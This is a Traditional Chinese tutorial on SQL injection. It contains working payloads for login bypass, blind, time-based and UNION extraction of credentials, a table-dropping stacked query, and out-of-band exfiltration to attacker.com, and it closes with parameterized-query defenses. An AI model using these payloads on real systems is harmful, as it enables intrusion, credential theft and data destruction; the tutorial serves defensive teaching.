SQL Injection (SQLi) 仍位居 OWASP Top 10 首位,是 Web 應用程式最嚴重、最普遍的安全弱點。本文深度解析攻擊原理、進階利用技術,並提供從開發、測試、部署到營運的全生命週期防禦指南。
應用程式將不可信使用者輸入直接拼接進 SQL 查詢字串,導致資料庫將輸入視為 SQL 指令執行,而非單純資料值。
脆弱代碼範例 (C#/ASP.NET):
string sql = "SELECT * FROM Users WHERE Username = '" + txtUser.Text + "' AND Password = '" + txtPwd.Text + "'";
SqlCommand cmd = new SqlCommand(sql, conn); // 直接拼接,極度危險
攻擊 Payload: `admin' --` 輸入 Username,Password 任意。
產生 SQL:`SELECT * FROM Users WHERE Username = 'admin' --' AND Password = '...'`
`--` 註解掉後續條件,繞過密碼驗證,以 admin 身分登入。
利用資料庫錯誤回顯提取資料。
Payload: `' AND UPDATEXML(1, CONCAT(0x7e, (SELECT @@version), 0x7e), 1) --` (MySQL)
回顯錯誤訊息中包含版本資訊。
無錯誤回顯,透過頁面邏輯差異 (True/False) 逐位推斷資料。
Payload: `' AND (SELECT SUBSTRING(@@version,1,1))='5' --` → 頁面正常 (True) → 版本以 5 開頭。
自動化工具: SQLMap `--technique=B`。
無頁面差異,透過執行時間差異推斷。
Payload: `' AND IF((SELECT SUBSTRING(@@version,1,1))='5', SLEEP(5), 0) --` (MySQL)
頁面延遲 5 秒 → True。
自動化: SQLMap `--technique=T`。
前提:原查詢回顯多欄位、欄位數可控。
步驟:
1. 確定欄位數:`' ORDER BY 1--`, `ORDER BY 2--`... 直到報錯,前一個數即欄位數。
2. 確定顯示位:`' UNION SELECT 1,2,3,NULL--` 觀察哪個數字出現在頁面。
3. 提取資料:`' UNION SELECT 1, username, password, 4 FROM users --`。
關鍵限制:UNION 兩側欄位數、資料型別必須相容。Oracle 嚴格檢查型別;SQL Server 隱含轉換較寬鬆。
支援批次執行的資料庫 (SQL Server, PostgreSQL, SQLite) 可執行任意 SQL:
`'; DROP TABLE users; --`
MySQL/PHP `mysqli` 預設單查詢,需 `mysqli_multi_query` 或 PDO `MYSQL_ATTR_MULTI_STATEMENTS` 才生效。
無回顯、無時間延遲環境,利用資料庫外部連線功能外帶資料:
MySQL: `LOAD_FILE('\\\\attacker.com\\share\\')`、PostgreSQL: `COPY ... TO PROGRAM 'curl attacker.com/$(SELECT passwd FROM users)'`、SQL Server: `xp_dirtree '\\\\attacker.com\\share'`、Oracle: `UTL_HTTP.REQUEST`。
需資料庫具備外部網路存取權限與高權限。
-- 取得所有使用者資料表
SELECT name FROM sysobjects WHERE xtype = 'U';
-- 取得指定資料表欄位
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Orders');
MySQL: `information_schema.tables/columns`。Oracle: `all_tables/tab_columns`。Access: `MSysObjects` (需權限)。
-- 第一筆
' UNION SELECT TOP 1 name, pwd, role FROM users --
-- 後續筆 (NOT IN 排除法)
' UNION SELECT TOP 1 name, pwd, role FROM users WHERE name NOT IN ('admin') --
// C# 正確寫法
string sql = "SELECT * FROM Users WHERE Username = @User AND Password = @Pwd";
SqlCommand cmd = new SqlCommand(sql, conn);
cmd.Parameters.AddWithValue("@User", txtUser.Text);
cmd.Parameters.AddWithValue("@Pwd", txtPwd.Text);
資料庫引擎將參數視為純資料,絕不解釋為 SQL 指令。所有動態查詢、INSERT/UPDATE/DELETE、存儲過程呼叫、動態 ORDER BY/WHERE 皆必須參數化。SQL Injection 可防、可測、可控。關鍵在於將「參數化查詢」內化為工程預設標準,輔以全生命週期驗證與監控,構建不可逾越的資料防線。